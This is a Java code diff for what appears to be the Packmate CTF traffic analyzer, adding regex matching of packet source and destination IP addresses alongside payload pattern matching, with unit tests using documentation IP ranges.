@Column(nullable = false)
private PatternDirectionType directionType;

View File

@ -0,0 +1,5 @@
package ru.serega6531.packmate.model.enums;
public enum PatternSearchTarget {
CONTENT, SOURCE_IP, DESTINATION_IP, EITHER_IP
}

View File

@ -1,11 +1,13 @@
package ru.serega6531.packmate.model.pojo;
import lombok.Data;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
@Data
public class FoundPatternDto {
private int patternId;
private PatternSearchTarget searchTarget;
private int startPosition;
private int endPosition;

View File

@ -10,6 +10,8 @@ public class PacketDto {
private Long id;
private Set<FoundPatternDto> matches;
private long timestamp;
private String sourceIp;
private String destinationIp;
private boolean incoming;
private boolean ungzipped;
private boolean webSocketParsed;

View File

@ -4,6 +4,7 @@ import lombok.Data;
import ru.serega6531.packmate.model.enums.PatternActionType;
import ru.serega6531.packmate.model.enums.PatternDirectionType;
import ru.serega6531.packmate.model.enums.PatternSearchType;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
@Data
public class PatternCreateDto {
@ -12,6 +13,7 @@ public class PatternCreateDto {
private String value;
private String color;
private PatternSearchType searchType;
private PatternSearchTarget searchTarget = PatternSearchTarget.CONTENT;
private PatternDirectionType directionType;
private PatternActionType actionType;
private Integer serviceId;

View File

@ -4,6 +4,7 @@ import lombok.Data;
import ru.serega6531.packmate.model.enums.PatternActionType;
import ru.serega6531.packmate.model.enums.PatternDirectionType;
import ru.serega6531.packmate.model.enums.PatternSearchType;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
@Data
public class PatternDto {
@ -15,6 +16,7 @@ public class PatternDto {
private String value;
private String color;
private PatternSearchType searchType;
private PatternSearchTarget searchTarget;
private PatternDirectionType directionType;
private PatternActionType actionType;
private Integer serviceId;

View File

@ -165,6 +165,8 @@ public abstract class AbstractPcapWorker implements PcapWorker, PacketListener {
.tempId(packetIdCounter++)
.ttl(ttl)
.timestamp(time)
.sourceIp(sourceIp.getHostAddress())
.destinationIp(destIp.getHostAddress())
.incoming(incoming)
.content(content)
.build();

View File

@ -4,6 +4,9 @@ import lombok.SneakyThrows;
import org.springframework.security.crypto.codec.Hex;
import ru.serega6531.packmate.model.FoundPattern;
import ru.serega6531.packmate.model.Pattern;
import ru.serega6531.packmate.model.Packet;
import ru.serega6531.packmate.model.enums.PatternSearchTarget;
import ru.serega6531.packmate.model.enums.PatternSearchType;
import ru.serega6531.packmate.utils.KMPByteSearcher;
import ru.serega6531.packmate.utils.KMPStringSearcher;
@ -22,13 +25,25 @@ public class PatternMatcher {
private final byte[] contentBytes;
private final String content;
private final List<Pattern> patterns;
private final String sourceIp;
private final String destinationIp;
private final Set<FoundPattern> result = new HashSet<>();
public PatternMatcher(byte[] contentBytes, List<Pattern> patterns) {
this(contentBytes, null, null, patterns);
}
public PatternMatcher(Packet packet, List<Pattern> patterns) {
this(packet.getContent(), packet.getSourceIp(), packet.getDestinationIp(), patterns);
}
private PatternMatcher(byte[] contentBytes, String sourceIp, String destinationIp, List<Pattern> patterns) {
this.contentBytes = contentBytes;
this.content = new String(contentBytes);
this.patterns = patterns;
this.sourceIp = sourceIp;
this.destinationIp = destinationIp;
}
public Set<FoundPattern> findMatches() {
@ -37,6 +52,10 @@ public class PatternMatcher {
}
private void match(Pattern pattern) {
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT) {
matchIpAddresses(pattern);
return;
}
switch (pattern.getSearchType()) {
case REGEX -> matchRegex(pattern);
case SUBSTRING -> matchSubstring(pattern);
@ -44,6 +63,34 @@ public class PatternMatcher {
}
}
private void matchIpAddresses(Pattern pattern) {
requireIpRegex(pattern);
if (pattern.getSearchTarget() != PatternSearchTarget.DESTINATION_IP) {
matchIp(pattern, sourceIp, PatternSearchTarget.SOURCE_IP);
}
if (pattern.getSearchTarget() != PatternSearchTarget.SOURCE_IP) {
matchIp(pattern, destinationIp, PatternSearchTarget.DESTINATION_IP);
}
}
private void matchIp(Pattern pattern, String address, PatternSearchTarget target) {
if (address != null && !address.isEmpty() && compileRegex(pattern).matcher(address).find()) {
// An address match marks the endpoint, never a range in the payload.
result.add(FoundPattern.builder()
.patternId(pattern.getId())
.searchTarget(target)
.startPosition(0)
.endPosition(address.length() - 1)
.build());
}
}
private static void requireIpRegex(Pattern pattern) {
if (pattern.getSearchTarget() != PatternSearchTarget.CONTENT && pattern.getSearchType() != PatternSearchType.REGEX) {
throw new IllegalArgumentException("IP address patterns must use regular expressions");
}
}
private void matchRegex(Pattern pattern) {
final var regex = compileRegex(pattern);
final Matcher matcher = regex.matcher(content);
@ -105,7 +152,7 @@ public class PatternMatcher {
}
private void addIfPossible(FoundPattern found) {
if (result.stream().noneMatch(match ->
if (result.stream().filter(match -> match.getSearchTarget() == found.getSearchTarget()).noneMatch(match ->
between(match.getStartPosition(), match.getEndPosition(), found.getStartPosition()) ||
between(match.getStartPosition(), match.getEndPosition(), found.getEndPosition()))) {
result.add(found);
@ -117,6 +164,7 @@ public class PatternMatcher {
}
static void compilePattern(Pattern pattern) {
requireIpRegex(pattern);
switch (pattern.getSearchType()) {
case REGEX -> compileRegex(pattern);
case SUBSTRING -> compileStringKMP(pattern);

View File

@ -10,6 +10,7 @@ import org.springframework.transaction.annotation.Transactional;
import ru.serega6531.packmate.model.CtfService;
import ru.serega6531.packmate.model.FoundPattern;
import ru.serega6531.packmate.model.Pattern;
import ru.serega6531.packmate.model.Packet;
import ru.serega6531.packmate.model.enums.PatternActionType;
import ru.serega6531.packmate.model.enums.PatternDirectionType;
import ru.serega6531.packmate.model.enums.SubscriptionMessageType;
@ -63,18 +64,18 @@ public class PatternService {
return patterns.values();
}
public Set<FoundPattern> findMatches(byte[] bytes, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
public Set<FoundPattern> findMatches(Packet packet, CtfService service, PatternDirectionType directionType, PatternActionType actionType) {
final List<Pattern> list = patterns.values().stream()
.filter(pattern -> pattern.isEnabled() && !pattern.isDeleted())
.filter(p -> p.getServiceId() == null || p.getServiceId().equals(service.getPort()))
.filter(p -> p.getActionType() == actionType)
.filter(p -> p.getDirectionType() == directionType || p.getDirectionType() == PatternDirectionType.BOTH)
.toList();
return new PatternMatcher(bytes, list).findMatches();
return new PatternMatcher(packet, list).findMatches();
}
public Set<FoundPattern> matchOne(byte[] bytes, Pattern pattern) {
return new PatternMatcher(bytes, List.of(pattern)).findMatches();
public Set<FoundPattern> matchOne(Packet packet, Pattern pattern) {
return new PatternMatcher(packet, List.of(pattern)).findMatches();
}
public void enable(int id, boolean enabled) {

View File

@ -193,7 +193,7 @@ public class StreamService {
for (Packet packet : packets) {
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
direction, PatternActionType.FIND);
packet.setMatches(matches);
@ -218,7 +218,7 @@ public class StreamService {
continue;
}
final Set<FoundPattern> matches = patternService.matchOne(packet.getContent(), pattern);
final Set<FoundPattern> matches = patternService.matchOne(packet, pattern);
if (!matches.isEmpty()) {
packet.getMatches().addAll(matches);
@ -234,7 +234,7 @@ public class StreamService {
private boolean isStreamIgnored(List<Packet> packets, CtfService service) {
for (Packet packet : packets) {
PatternDirectionType direction = packet.isIncoming() ? PatternDirectionType.INPUT : PatternDirectionType.OUTPUT;
final Set<FoundPattern> matches = patternService.findMatches(packet.getContent(), service,
final Set<FoundPattern> matches = patternService.findMatches(packet, service,
direction, PatternActionType.IGNORE);
if (!matches.isEmpty()) {
return true;

View File

@ -47,11 +47,15 @@ public class PacketsMerger {
final boolean webSocketParsed = cut.stream().anyMatch(Packet::isWebSocketParsed);
final boolean tlsDecrypted = cut.get(0).isTlsDecrypted();
final boolean incoming = cut.get(0).isIncoming();
final String sourceIp = cut.get(0).getSourceIp();
final String destinationIp = cut.get(0).getDestinationIp();
final byte[] content = PacketUtils.mergePackets(cut);
packets.removeAll(cut);
packets.add(start, Packet.builder()
.incoming(incoming)
.sourceIp(sourceIp)
.destinationIp(destinationIp)
.timestamp(timestamp)
.httpProcessed(httpProcessed)
.webSocketParsed(webSocketParsed)

View File

@ -0,0 +1,55 @@
package ru.serega6531.packmate;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.CsvSource;
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
import ru.serega6531.packmate.model.Packet;
import ru.serega6531.packmate.model.pojo.PacketDto;
import ru.serega6531.packmate.service.optimization.PacketsMerger;
import java.util.ArrayList;
import java.util.List;
import static org.junit.jupiter.api.Assertions.*;
class PacketAddressesTest {
@ParameterizedTest
@CsvSource({
"192.0.2.1, 192.0.2.2, true",
"192.0.2.2, 192.0.2.1, false",
"2001:db8::1, 2001:db8::2, true",
"2001:db8::2, 2001:db8::1, false"
})
void addressesSurviveMergingAndDtoMapping(String source, String destination, boolean incoming) {
Packet first = Packet.builder()
.sourceIp(source)
.destinationIp(destination)
.incoming(incoming)
.content(new byte[] {1})
.build();
Packet second = first.toBuilder().content(new byte[] {2}).build();
List<Packet> packets = new ArrayList<>(List.of(first, second));
new PacketsMerger().mergeAdjacentPackets(packets);
assertEquals(1, packets.size());
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packets.get(0), PacketDto.class);
assertEquals(source, dto.getSourceIp());
assertEquals(destination, dto.getDestinationIp());
assertEquals(incoming, dto.isIncoming());
assertArrayEquals(new byte[] {1, 2}, dto.getContent());
}
@Test
void legacyPacketsWithoutAddressesStillMap() {
Packet packet = Packet.builder().content(new byte[] {1}).build();
PacketDto dto = new ApplicationConfiguration().modelMapper().map(packet, PacketDto.class);
assertNull(dto.getSourceIp());
assertNull(dto.getDestinationIp());
assertArrayEquals(packet.getContent(), dto.getContent());
}
}

View File

@ -0,0 +1,182 @@
package ru.serega6531.packmate.service;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.EnumSource;
import ru.serega6531.packmate.configuration.ApplicationConfiguration;
import ru.serega6531.packmate.model.CtfService;
import ru.serega6531.packmate.model.FoundPattern;
import ru.serega6531.packmate.model.Packet;
import ru.serega6531.packmate.model.Pattern;
import ru.serega6531.packmate.model.enums.*;
import ru.serega6531.packmate.model.pojo.FoundPatternDto;
import ru.serega6531.packmate.model.pojo.PatternCreateDto;
import ru.serega6531.packmate.model.pojo.PatternDto;
import ru.serega6531.packmate.repository.PatternRepository;
import java.lang.reflect.Proxy;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.List;
import java.util.Set;
import java.util.regex.PatternSyntaxException;
import static org.junit.jupiter.api.Assertions.*;
class IpPatternMatcherTest {
private Packet packet(String source, String destination, String content) {
return Packet.builder().sourceIp(source).destinationIp(destination)
.content(content.getBytes(StandardCharsets.UTF_8)).build();
}
private Pattern pattern(int id, PatternSearchTarget target, String regex) {
Pattern pattern = new Pattern();
pattern.setId(id);
pattern.setSearchType(PatternSearchType.REGEX);
pattern.setSearchTarget(target);
pattern.setValue(regex);
pattern.setEnabled(true);
pattern.setActionType(PatternActionType.FIND);
pattern.setDirectionType(PatternDirectionType.BOTH);
return pattern;
}
@Test
void sourceAndDestinationAreMatchedIndependentlyFromPayload() {
Packet packet = packet("10.20.30.4", "192.0.2.8", "192.0.2.99");
List<Pattern> patterns = List.of(
pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.20\\.30\\.[0-9]+$"),
pattern(2, PatternSearchTarget.DESTINATION_IP, "^192\\.0\\.2\\.8$"),
pattern(3, PatternSearchTarget.SOURCE_IP, "192\\.0\\.2"),
pattern(4, PatternSearchTarget.DESTINATION_IP, "^10\\."),
pattern(5, PatternSearchTarget.EITHER_IP, "192\\.0\\.2\\.99"));
Set<FoundPattern> matches = new PatternMatcher(packet, patterns).findMatches();
assertEquals(2, matches.size());
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 1 && m.getSearchTarget() == PatternSearchTarget.SOURCE_IP));
assertTrue(matches.stream().anyMatch(m -> m.getPatternId() == 2 && m.getSearchTarget() == PatternSearchTarget.DESTINATION_IP));
}
@Test
void eitherIpHandlesIpv6AndKeepsMatchesForBothEndpoints() {
Packet packet = packet("2001:db8:0:0:0:0:0:1", "2001:db8:0:0:0:0:0:2", "body");
Set<FoundPattern> matches = new PatternMatcher(packet,
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "(?i)^2001:DB8:"))).findMatches();
assertEquals(Set.of(PatternSearchTarget.SOURCE_IP, PatternSearchTarget.DESTINATION_IP),
matches.stream().map(FoundPattern::getSearchTarget).collect(java.util.stream.Collectors.toSet()));
}
@Test
void legacyPacketsWithoutAddressesDoNotMatchEvenWildcard() {
assertTrue(new PatternMatcher(packet(null, null, "10.20.30.4"),
List.of(pattern(1, PatternSearchTarget.EITHER_IP, ".*"))).findMatches().isEmpty());
}
@Test
void missingEndpointDoesNotPreventMatchingPresentEndpoint() {
Set<FoundPattern> matches = new PatternMatcher(packet(null, "192.0.2.8", "body"),
List.of(pattern(1, PatternSearchTarget.EITHER_IP, "^192\\."))).findMatches();
assertEquals(1, matches.size());
assertEquals(PatternSearchTarget.DESTINATION_IP, matches.iterator().next().getSearchTarget());
}
@Test
void addressAndContentMatchesDoNotSuppressEachOther() {
Packet packet = packet("10.20.30.4", "192.0.2.8", "FLAG");
Pattern address = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
Pattern content = pattern(2, PatternSearchTarget.CONTENT, "FLAG");
for (List<Pattern> order : List.of(List.of(address, content), List.of(content, address))) {
Set<FoundPattern> matches = new PatternMatcher(packet, order).findMatches();
assertEquals(2, matches.size());
assertTrue(matches.stream().anyMatch(m -> m.getSearchTarget() == PatternSearchTarget.CONTENT && m.getEndPosition() == 3));
}
}
@Test
void emptyRegexMatchOnIpTerminatesAndMarksAddress() {
assertTimeoutPreemptively(Duration.ofSeconds(1), () -> {
Set<FoundPattern> matches = new PatternMatcher(packet("10.20.30.4", null, "body"),
List.of(pattern(1, PatternSearchTarget.SOURCE_IP, "^"))).findMatches();
assertEquals(1, matches.size());
});
}
@ParameterizedTest
@EnumSource(value = PatternSearchType.class, names = {"SUBSTRING", "SUBBYTES"})
void nonRegexIpPatternsAreRejected(PatternSearchType searchType) {
Pattern pattern = pattern(1, PatternSearchTarget.EITHER_IP, "10");
pattern.setSearchType(searchType);
assertThrows(IllegalArgumentException.class, () -> PatternMatcher.compilePattern(pattern));
}
@Test
void invalidIpRegexIsRejectedBeforeSaving() {
assertThrows(PatternSyntaxException.class,
() -> PatternMatcher.compilePattern(pattern(1, PatternSearchTarget.EITHER_IP, "[")));
}
@Test
void targetsRoundTripThroughDtosAndLegacyNullMeansContent() {
var mapper = new ApplicationConfiguration().modelMapper();
var dto = new PatternCreateDto();
assertEquals(PatternSearchTarget.CONTENT, mapper.map(dto, Pattern.class).getSearchTarget());
dto.setSearchTarget(PatternSearchTarget.EITHER_IP);
Pattern pattern = mapper.map(dto, Pattern.class);
pattern.setId(1);
assertEquals(PatternSearchTarget.EITHER_IP, mapper.map(pattern, PatternDto.class).getSearchTarget());
pattern.setSearchTarget(null);
assertEquals(PatternSearchTarget.CONTENT, mapper.map(pattern, PatternDto.class).getSearchTarget());
FoundPattern found = FoundPattern.builder().searchTarget(PatternSearchTarget.SOURCE_IP).build();
assertEquals(PatternSearchTarget.SOURCE_IP, mapper.map(found, FoundPatternDto.class).getSearchTarget());
assertEquals(PatternSearchTarget.CONTENT, mapper.map(FoundPattern.builder().build(), FoundPatternDto.class).getSearchTarget());
}
@Test
void existingContentPatternsDoNotStartMatchingAddressMetadata() {
Pattern pattern = pattern(1, null, "10\\.20\\.30\\.4");
assertTrue(new PatternMatcher(packet("10.20.30.4", "192.0.2.8", "body"), List.of(pattern)).findMatches().isEmpty());
}
@Test
void liveFindIgnoreDirectionAndServiceFiltersReceiveAddresses() {
Pattern find = pattern(1, PatternSearchTarget.SOURCE_IP, "^10\\.");
find.setServiceId(80);
find.setDirectionType(PatternDirectionType.INPUT);
Pattern ignore = pattern(2, PatternSearchTarget.EITHER_IP, "^192\\.");
ignore.setActionType(PatternActionType.IGNORE);
Pattern disabled = pattern(3, PatternSearchTarget.EITHER_IP, ".*");
disabled.setEnabled(false);
Pattern deleted = pattern(4, PatternSearchTarget.EITHER_IP, ".*");
deleted.setDeleted(true);
PatternService service = service(List.of(find, ignore, disabled, deleted));
CtfService http = new CtfService();
http.setPort(80);
Packet packet = packet("10.20.30.4", "192.0.2.8", "body");
var found = service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND);
assertEquals(1, found.size());
assertEquals(1, found.iterator().next().getPatternId());
assertTrue(service.findMatches(packet, http, PatternDirectionType.OUTPUT, PatternActionType.FIND).isEmpty());
assertEquals(2, service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.IGNORE)
.iterator().next().getPatternId());
http.setPort(443);
assertTrue(service.findMatches(packet, http, PatternDirectionType.INPUT, PatternActionType.FIND).isEmpty());
assertEquals(1, service.matchOne(packet, find).size());
}
private PatternService service(List<Pattern> patterns) {
PatternRepository repository = (PatternRepository) Proxy.newProxyInstance(
PatternRepository.class.getClassLoader(), new Class<?>[] {PatternRepository.class},
(proxy, method, args) -> {
if (method.getName().equals("findAll")) return patterns;
throw new UnsupportedOperationException(method.getName());
});
PatternService service = new PatternService(repository, null, null, new ApplicationConfiguration().modelMapper());
service.init();
return service;
}
}